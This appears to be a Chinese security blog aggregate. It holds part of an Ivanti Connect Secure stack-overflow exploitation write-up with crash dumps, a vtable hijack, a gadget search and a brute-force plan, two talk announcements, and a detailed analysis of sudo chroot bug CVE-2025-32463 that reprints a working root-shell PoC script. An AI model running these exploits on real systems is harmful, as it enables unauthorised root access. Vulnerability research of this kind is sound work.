> 0010:  00 0a 4c 01 02 01 00 0e  01 61 6e 6f 6e 79 6d 6f  |..L......anonymo|
> 0020:  75 73                                             |us|

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的崩溃现场

Program received signal SIGSEGV, Segmentation fault.
eax            0x0      0
edi            0xff856370       -8035472
esi            0x1      1
edx            0xf1a8d004       -240594940
=> 0xf4f73d1d <free+45>:        mov    esi,DWORD PTR [ecx-0x4]
0xf4f73d20 <free+48>:        lea    edx,[ecx-0x8]
0xf4f73d23 <free+51>:        test   esi,0x2
0xf4f73d29 <free+57>:        jne    0xf4f73d58 <free+104>
0xf4f73d2b <free+59>:        and    esi,0x4
0xff856110:     0x56723200      0x566dd509      0x566ecbc7      0xf4f73cf8
0xff856120:     0xf7a26000      0x00000001      0xff856370      0xf6d6535f
0xff856130:     0x41414141      0x00000032      0xf7f3abc9      0x5671d000
0xff856140:     0x5671d000      0x56723200      0x00000001      0x5669a4e8
0xff856150:     0xff856370      0x00000289      0x566ed87c      0x566d7c7f
0xf4f73d1d in free () from /lib/libc.so.6
(gdb) bt
#0  0xf4f73d1d in free () from /lib/libc.so.6
#1  0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#2  0x5669a4e8 in ?? ()
#3  0x5669ae7b in ?? ()
#4  0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#5  0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#6  0x56696e48 in ?? ()
#7  0x566133d5 in ?? ()
#8  0x56614446 in ?? ()
#9  0x56614d40 in ?? ()
#10 0xf6c4942e in ?? () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#12 0x5663f477 in ?? ()
#13 0x565e0a37 in main ()
(gdb) p/x 0x5669a4e8  - $base
$1 = 0xe54e8
(gdb) i er ecx
Undefined info command: "er ecx".  Try "help info".
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb)

void __cdecl EPMessage::~EPMessage(EPMessage *this)
{
DSHash::~DSHash((EPMessage *)((char *)this + 4));
}

0xf6d0fb31 in DSHash::~DSHash() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so

exploit

memset(dest, 0, sizeof(dest));
strncpy(dest, (const char *)a1->clientCapabilities, v23);// overflow
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
*v26 = 0;
na = 46;
(*(void (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1->gap0 + 72))(a1, &v57);

在溢出之后有一个函数指针的调用

mov     edx, [esp+0A0Ch+var_9E0]
mov     eax, [esp+2576]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
; 395:     na = 46;
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]

这里是一个this 指针调用虚表函数的功能，由于虚表指针在栈上，这个栈是可以被我们覆盖的，所以我们大概率就是需要找到一个虚表指针，他指向的虚表函数表，这个表 +0x48 能有合适的gadget，我一开始的思路是去找所有的虚表定义，看看有没有合适的，可惜我没有找到，于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章^[2]，观察这个作者的 A Gadget From The Gods ，最后我用的大概率也是做这个找到的这个gadget

在这文章^[2]中作者提到了他的 gadget 的具体汇编，第一句是mov ebx, 0xfffffff0 ，第二句是 add esp, 0x204C

+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------+

于是我采用了一个最笨的方法，将所有引用的 lib 库全部objdump 一遍，然后去grep

1
2
3

objdump --x86-asm-syntax=intel -D  $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt

cat ibdsplibs.txt|grep -e "add\tesp, 0x204c"

在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ，意料之外的是这里具体居然是个 swithc table 表

按照代码逻辑，我们只要反着算就行，例如我们这里最后 vtable 的地址是 0x11D8940，那么就需要有一个地址存储这个指针，直接在 ida 的binary search 里搜索

找到一个这个，所以我们最后要覆盖的this 指针地址为 0x00934F4C，后面正常 rop 就行，这里提一句 libc的随机化是 0xfff 位，多核启动的时候会有一个主进程不断的fork子进程，因此我们爆破 0xfff次就一定能成功执行

拿到的权限是 nr 权限

bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$

完整的ROP链也留给读者实现了。

Reference link

1.OpenConnect https://www.infradead.org/openconnect/download.html↩
2.https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/↩

议题分享：企业设备安全设备漏洞分析与利用

作者: 纯情
时间: 2026-01-25
分类: 网络
评论

议题分享：企业设备安全设备漏洞分析与利用

Swing

2025-04-01

Writeup

Firewall, Gateway, Mail, VPN, “安全光网”网络安全技术论坛, 先知沙龙-北京站

…

前言

这个议题内容在 2024年10月10日的华为 “安全光网”网络安全技术论坛和 2024年11月9日的先知沙龙-北京站分享过。

当时北京沙龙为了篇幅砍了很多 slide 的页数，这次分享是比较完整的 95 页（做太多了…), 主要的内容是从各个类型的安全设备切入，分析他们的攻击面以及一些公开的 1day的漏洞分析，主要大纲如下：

安全邮件网关
网关
防火墙
VPN设备

……

公开 slide

这里公开 slide ，感兴趣的同学可以自行阅读

议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security

作者: 纯情
时间: 2026-01-25
分类: 网络
评论

议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security

Swing

2025-05-19

Writeup

ASUS, Router, offbyone

…

前言

这个议题于2025年5月8日在新加坡举办的Off-By-One Conference上分享。

大致的议题介绍：

Asus, as a leading consumer electronics manufacturer, offers a wide range of IoT devices, but its router products have historically faced significant challenges in security, including critical vulnerabilities such as the cfgserver issue in the Tianfu Cup and the httpd authentication bypass vulnerability. These incidents reveal potential shortcomings in the security design of ASUS router products.

This presentation will provide a systematic attack surface analysis of ASUS router devices, focusing on a review of some key historical vulnerabilities and a deep dive into the lighttpd component within the aicloud service to identify potential security risks. Our analysis will cover multiple vulnerabilities and their associated remote code execution (RCE) vulnerability chains, assess their impact scope and potential consequences, and offer recommendations for future improvements.

……

公开 slide

这里公开 slide ，感兴趣的同学可以自行阅读

CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析

作者: 纯情
时间: 2026-01-25
分类:
评论

CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析

Swing

2025-07-02

漏洞分析

CVE-CVE-2025-3246, sudo

TL; DR

startascale 6 月 30 日发布了几个 sudo 的提权漏洞，CVE-CVE-2025-32463^[1] 是其中一个，另外一个 CVE-2025-32462^[2] 需要一个特殊配置。

该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件，权限提升到 root 无需任何漏洞利用（exploit）。

漏洞分析

CVE-2025-32463在Sudo v1.9.14（2023年6月）中引入（https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS），在使用chroot功能时，更新了命令匹配处理代码。本文漏洞分析的sudo代码 commit 为： cb3355e9d4f66db642b9c0e9151423762504339b

该代码逻辑在， plugins/sudoers/sudoers.c 文件中的 set_cmnd_path 函数里，

int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
...
/* Pivot root. */
if (runchroot != NULL) {
if (!pivot_root(runchroot, &pivot_state))
goto error;
}
...
ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
...
if (runchroot != NULL)
(void)unpivot_root(&pivot_state);
...

代码逻辑大致是:
1. pivot_root 函数进行 chroot 2. resolve_cmnd函数去进行命令的匹配查找路径 3. 最后unpivot_root` chroot 回到原来的 root path

漏洞的发生点其实就是在 pivot_root 和 unpivot_root 之间，有代码逻辑去读取 /etc/nsswitch.conf 文件并进行了 nss_database* 的更新。

当我看到这个漏洞和代码的时候有一个直觉性的疑问，如果在 chroot 后会进行 /etc/nsswitch.conf 的读取，且读取的是 chroot 里的文件，那么为什么unpivot_root 后代码代码逻辑不会重新读取 /etc/nsswitch.conf 。因此这个漏洞分析以两个疑问展开分析：

pivot_root 和 unpivot_root 之间什么操作导致会重新加载 /etc/nsswitch.conf
为什么 unpivot_root 之后到加载恶意代码之前不会重新读取 /etc/nsswitch.conf

nss_database_check_reload_and_get 分析

对 nss 相关代码的简单追踪，我们定位到 nss_database_check_reload_and_get^[2] 会调用 nss_database_reload 函数进而打开 /etc/nsswitch.conf 配置文件

调用链如下：

1
2
3

static bool nss_database_check_reload_and_get
-> static bool ss_database_reload
-> FILE *fp = fopen (_PATH_NSSWITCH_CONF, "rce");

我们在 pivot_root 之后对 nss_database_check_reload_and_get 下个断点，此时 gdb 的backtrace 如下：

Breakpoint 1, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396	./nss/nss_database.c: No such file or directory
(gdb) bt
#0  nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396
#1  0x00007ffff7d56ddc in internal_getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, size=size@entry=0x7fffffffc568,
groupsp=groupsp@entry=0x7fffffffc570, limit=limit@entry=-1) at ./nss/initgroups.c:75
#2  0x00007ffff7d570dc in getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, groups=groups@entry=0x7ffff7b15010,
ngroups=ngroups@entry=0x7fffffffc5d4) at ./nss/initgroups.c:156
#3  0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name=0x5555555a8d98 "root", basegid=0, groupsp=groupsp@entry=0x7fffffffc630,
ngroupsp=ngroupsp@entry=0x7fffffffc63c) at ./getgrouplist.c:105
#4  0x00007ffff7ed987e in sudo_make_gidlist_item (pw=0x5555555a8d68, ngids=<optimized out>, gids=<optimized out>, gidstrs=0x0, type=1) at ./pwutil_impl.c:298
#5  0x00007ffff7ed83d5 in sudo_get_gidlist (pw=0x5555555a8d68, type=type@entry=1) at ./pwutil.c:1033
#6  0x00007ffff7ecfbcb in runas_getgroups (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>) at ./match.c:146
#7  0x00007ffff7ebbc3c in runas_setgroups (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./set_perms.c:1634
#8  set_perms (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, perm=perm@entry=5) at ./set_perms.c:285
#9  0x00007ffff7edadb8 in resolve_cmnd (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, infile=infile@entry=0x7fffffffe594 "woot",
outfile=outfile@entry=0x7fffffffcc40, path=path@entry=0x5555555b0400 "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin")
at ./resolve_cmnd.c:42
#10 0x00007ffff7ebebbc in set_cmnd_path (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, runchroot=0x5555555a701c "woot") at ./sudoers.c:1108
#11 0x00007ffff7ebf047 in set_cmnd (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:1177
#12 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:358
#13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#14 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#15 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#16 main (

当前 nss_database_check_reload_and_get 的第三个参数 database_index 为 nss_database_initgroups， local 参数结构：

(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

其中 services 对应如下：

DEFINE_DATABASE (aliases)
DEFINE_DATABASE (ethers)
DEFINE_DATABASE (group)
DEFINE_DATABASE (group_compat)
DEFINE_DATABASE (gshadow)
DEFINE_DATABASE (hosts)
DEFINE_DATABASE (initgroups)
DEFINE_DATABASE (netgroup)
DEFINE_DATABASE (networks)
DEFINE_DATABASE (passwd)
DEFINE_DATABASE (passwd_compat)
DEFINE_DATABASE (protocols)
DEFINE_DATABASE (publickey)
DEFINE_DATABASE (rpc)
DEFINE_DATABASE (services)
DEFINE_DATABASE (shadow)
DEFINE_DATABASE (shadow_compat)

在进 nss_database_reload 函数的时候，里面有个逻辑是，如果 staging->services[i] == NULL 就设置为 default 的值，

for (int i = 0; i < NSS_DATABASE_COUNT; ++i)
if (staging->services[i] == NULL)
{
ok = nss_database_select_default (&cache, i,
&staging->services[i]);
if (!ok)
break;
}

由 nss_database_select_default 获取然后设置

static const char per_database_defaults[NSS_DATABASE_COUNT] =
{
[nss_database_group] = nss_database_default_compat,
[nss_database_group_compat] = nss_database_default_nis,
[nss_database_gshadow] = nss_database_default_files,
[nss_database_hosts] = nss_database_default_dns,
[nss_database_initgroups] = nss_database_default_none,
[nss_database_networks] = nss_database_default_dns,
[nss_database_passwd] = nss_database_default_compat,
[nss_database_passwd_compat] = nss_database_default_nis,
[nss_database_publickey] = nss_database_default_nis_nisplus,
[nss_database_shadow] = nss_database_default_compat,
[nss_database_shadow_compat] = nss_database_default_nis,
};


static bool
nss_database_select_default (struct nss_database_default_cache *cache,
enum nss_database db, nss_action_list *result)
{
enum nss_database_default def = per_database_defaults[db];
...
case nss_database_default_none:
/* Very special case: Leave *result as NULL.  */
return true;
...
*result = __nss_action_parse (line);
if (*result == NULL)
{
assert (errno == ENOMEM);
return false;
}
return true;

在 nss_database_initgroups 设置的时候，默认为 None，因此此时 service 为 nss_database_initgroups 是 0x0 (这个很重要)

(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

解释了下，此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空的原因，我们接着回到 nss_database_check_reload_and_get的代码里：


static bool
nss_database_check_reload_and_get (struct nss_database_state *local,
nss_action_list *result,
enum nss_database database_index)
{
struct __stat64_t64 str;
/* Acquire MO is needed because the thread that sets reload_disabled
may have loaded the configuration first, so synchronize with the
Release MO store there.  */
if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];
/* No reload, so there is no error.  */
return true;
}
struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
/* Configuration is up-to-date.  Read it and return it to the
caller.  */
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed.  We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time.  */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
||  str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state.  */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}
if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}
__libc_lock_unlock (local->lock);
/* Avoid overwriting the global configuration until we have loaded
everything successfully.  Otherwise, if the file change
information changes back to what is in the global configuration,
the lookups would use the partially-written  configuration.  */
struct nss_database_data staging = { .initialized = true, };
bool ok = nss_database_reload (&staging, &initial);
if (ok)
{
__libc_lock_lock (local->lock);
/* See above for memory order.  */
if (!atomic_load_acquire (&local->data.reload_disabled))
/* This may go back in time if another thread beats this
thread with the update, but in this case, a reload happens
on the next NSS call.  */
local->data = staging;
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
}
return ok;
}

在刚进 nss_database_check_reload_and_get 函数的时候，先是判断 local->data.reload_dsiable
是否为 True，如果为True 则直接 return

if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];
/* No reload, so there is no error.  */
return true;
}

然后是判断/etc/nsswitch.conf文件是否修改:

struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
/* Configuration is up-to-date.  Read it and return it to the
caller.  */
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}

因为此时是刚 chroot 进来，所以此时的 /etc/nsswitch.conf是一个修改的状态，所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功，则设置 local->data.reload_disabled 的值

if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed.  We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time.  */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
||  str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state.  */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

因为当前 local->data.services[database_index] 为 NULL （此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空）

因此不会去设置 local->data.reload_disabled ，此时 local->data.reload_disabled 仍然为 0

1 2	(gdb) p ((struct nss_database_state *)local)->data.reload_disabled $8 = 0

然后保存当前的 root inode 和 root dev

if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}

最后就走到 bool ok = nss_database_reload (&staging, &initial); 进行 database 的reload。

[!小结]
这里就解答了第一个问题，由于 getgrouplist 的调用因此调用了nss_database_check_reload_and_get 函数。
在nss_database_check_reload_and_get函数里，由于此时 reload_disabled 没有设置且services[nss_database_initgroups] 是空，所以走到了 nss_database_reload 。

reload_disabled

对 nss_database_check_reload_and_get 断点，并在 pivot_root 和unpivot_root 下断点。然后打印出在 nss_database_check_reload_and_get 的第三个参数database_index 。

>end
(gdb) i b
Num     Type           Disp Enb Address            What
3       breakpoint     keep y   <MULTIPLE>
3.1                         y   0x00007ffff7d2b050 in pivot_root at ../sysdeps/unix/syscall-template.S:120
3.2                         y   0x00007ffff7eb59b0 in pivot_root at ./pivot.c:39
4       breakpoint     keep y   0x00007ffff7eb5b00 in unpivot_root at ./pivot.c:64
5       breakpoint     keep y   0x00007ffff7d52300 in nss_database_check_reload_and_get at ./nss/nss_database.c:396
i r rdx
c
(gdb)

我们可以清楚的看到在 pivot_root 和 unpivot_root 前后 nss_database_check_reload_and_get 的参数不同：

Breakpoint 3.2, pivot_root (new_root=0x5555555a701c "woot", state=0x7fffffffcc38) at ./pivot.c:39
39	{
(gdb) c
Continuing.
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396	./nss/nss_database.c: No such file or directory
rdx            0x6                 6

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_group) at ./nss/nss_database.c:396
396	in ./nss/nss_database.c
rdx            0x2                 2

Breakpoint 4, unpivot_root (state=state@entry=0x7fffffffcc38) at ./pivot.c:64
64	{
(gdb) c
Continuing.
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
warning: 396	./nss/nss_database.c: No such file or directory
rdx            0x2                 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
396	in ./nss/nss_database.c
rdx            0x2                 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b00 <__nss_shadow_database>, database_index=nss_database_shadow)
at ./nss/nss_database.c:396
396	in ./nss/nss_database.c
rdx            0xf                 15
Downloading separate debug info for libnss_/woot1337.so.2
Download failed: Invalid argument.  Continuing without source file ./nss/./nss/nss_database.c.

整理出来就是：

nss_database_passwd 9
nss_database_passwd 9
nss_database_passwd 9
# pivot_root
nss_database_initgroups 6
nss_database_group 2
# unpivot_root
nss_database_group 2
nss_database_group 2
nss_database_shadow 15 # load lib

在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 nss_database_initgroups的时候 reload_disabled 不会设置。

当到第一个 nss_database_group 的时候，由于文件没有修改，所以会直接 return。

(gdb) n
418	      *result = local->data.services[database_index];
(gdb) l
413	  __libc_lock_lock (local->lock);
414	  if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
415	    {
416	      /* Configuration is up-to-date.  Read it and return it to the
417	         caller.  */
418	      *result = local->data.services[database_index];
419	      __libc_lock_unlock (local->lock);
420	      return true;
421	    }
422
(gdb)

不会走后续的逻辑。

当走完 unpivot_root 来到第二个nss_database_group, reload_disabled 没有设置，走到文件修改比较。因为此时已经 unpivot_root, 因此文件是有变化的，程序会继续执行。

当走到 if (local->data.services[database_index] != NULL) 判断的时候

if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed.  We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time.  */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
||  str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state.  */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

由于 local->data.services[database_index] 不为空，因此会进入 if 的逻辑。且此时

stat_rv = 0
((struct nss_database_state *)local)->root_ino = 0x560d0
((struct nss_database_state *)0x5555555a1ad0)->root_dev = 0xfd01
str.st_ino != local->root_ino
str.st_dev != local->root_dev

符合这个 if 的判断，会进到 atomic_store_release (&local->data.reload_disabled, 1); , 走完这句代码后 local->data.reload_disabled 就会被设置为 1，然后直接返回。

那么之后剩下的 nss_database_check_reload_and_get 函数调用都会在开头就会返回，不会进到 nss_database_reload 逻辑里

[!小结]
这里就解决了第二个疑问，为什么后续 nss_database_check_reload_and_get 函数调用不会进到 nss_database_reload。因为代码逻辑当 chroot 回到原来的目录的时候，调用第一个 nss_database_check_reload_and_get 会将 reload_disabled 设置成 1 且返回，后续的调用就不会再进 nss_database_reload

load evil library

利用直接参考贴原作者的就行：

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

在不可信任的路径里配置一个 etc/nsswitch.conf, 内容如下：

1 2	bash-5.2$ cat woot/etc/nsswitch.conf passwd: /woot1337

一个有趣的说明，nsswitch.conf中的源的名称也被用作共享对象（库）的路径的一部分。例如，上述LDAP源转化为 libnss_/woot1337.so.2.so。

那么在哪里加载恶意 so 的呢？我们对 dlopen 下一个断点，然后查看一下他的 backtrace。

#0  0x00007ffff7e86191 in woot () from libnss_/woot1337.so.2
#1  0x00007ffff7fca6d5 in call_init (l=0x5555555b5cb0, argc=argc@entry=4, argv=argv@entry=0x7fffffffe2b8, env=env@entry=0x7fffffffe2e0)
at ./elf/dl-init.c:60
#2  0x00007ffff7fca824 in call_init (env=<optimized out>, argv=<optimized out>, argc=<optimized out>, l=<optimized out>) at ./elf/dl-init.c:120
#3  _dl_init (main_map=0x5555555b5cb0, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-init.c:121
#4  0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception=exception@entry=0x0, operate=operate@entry=0x7ffff7fd1cc0 <call_dl_init>,
args=args@entry=0x7fffffffc340) at ./elf/dl-catch.c:211
#5  0x00007ffff7fd1d7c in dl_open_worker (a=0x7fffffffc4f0) at ./elf/dl-open.c:829
#6  dl_open_worker (a=a@entry=0x7fffffffc4f0) at ./elf/dl-open.c:792
#7  0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc4d0, operate=operate@entry=0x7ffff7fd1ce0 <dl_open_worker>,
args=args@entry=0x7fffffffc4f0) at ./elf/dl-catch.c:237
#8  0x00007ffff7fd2164 in _dl_open (file=0x5555555b4d40 "libnss_/woot1337.so.2", mode=<optimized out>, caller_dlopen=0x7ffff7d53a0f <module_load+175>,
nsid=<optimized out>, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-open.c:905
#9  0x00007ffff7d840d5 in do_dlopen (ptr=ptr@entry=0x7fffffffc750) at ./elf/dl-libc.c:95
#10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc6e0, operate=0x7ffff7d84090 <do_dlopen>, args=0x7fffffffc750)
at ./elf/dl-catch.c:237
#11 0x00007ffff7fc6669 in _dl_catch_error (objname=0x7fffffffc740, errstring=0x7fffffffc748, mallocedp=0x7fffffffc73f, operate=<optimized out>,
args=<optimized out>) at ./elf/dl-catch.c:256
#12 0x00007ffff7d844ef in dlerror_run (args=0x7fffffffc750, operate=0x7ffff7d84090 <do_dlopen>) at ./elf/dl-libc.c:45
#13 __libc_dlopen_mode (name=<optimized out>, mode=mode@entry=-2147483646) at ./elf/dl-libc.c:162
#14 0x00007ffff7d53a0f in module_load (module=0x5555555af790) at ./nss/nss_module.c:187
#15 0x00007ffff7d53ee5 in __nss_module_load (module=0x5555555af790) at ./nss/nss_module.c:302
#16 __nss_module_get_function (module=0x5555555af790, name=name@entry=0x7ffff7dcf1eb "setspent") at ./nss/nss_module.c:328
#17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name=0x7ffff7dcf1eb "setspent", ni=<optimized out>) at ./nss/nsswitch.c:137
#18 __GI___nss_lookup (ni=0x7ffff7e11690 <nip>, fct_name=0x7ffff7dcf1eb "setspent", fct2_name=0x0, fctp=0x7fffffffcac0) at ./nss/nsswitch.c:67
#19 0x00007ffff7d51306 in setup (all=1, startp=0x7ffff7e11680 <startp>, nip=0x7ffff7e11690 <nip>, fctp=0x7fffffffcac0,
lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, func_name=0x7ffff7dcf1eb "setspent") at ./nss/getnssent_r.c:33
#20 __nss_setent (func_name=func_name@entry=0x7ffff7dcf1eb "setspent", lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>,
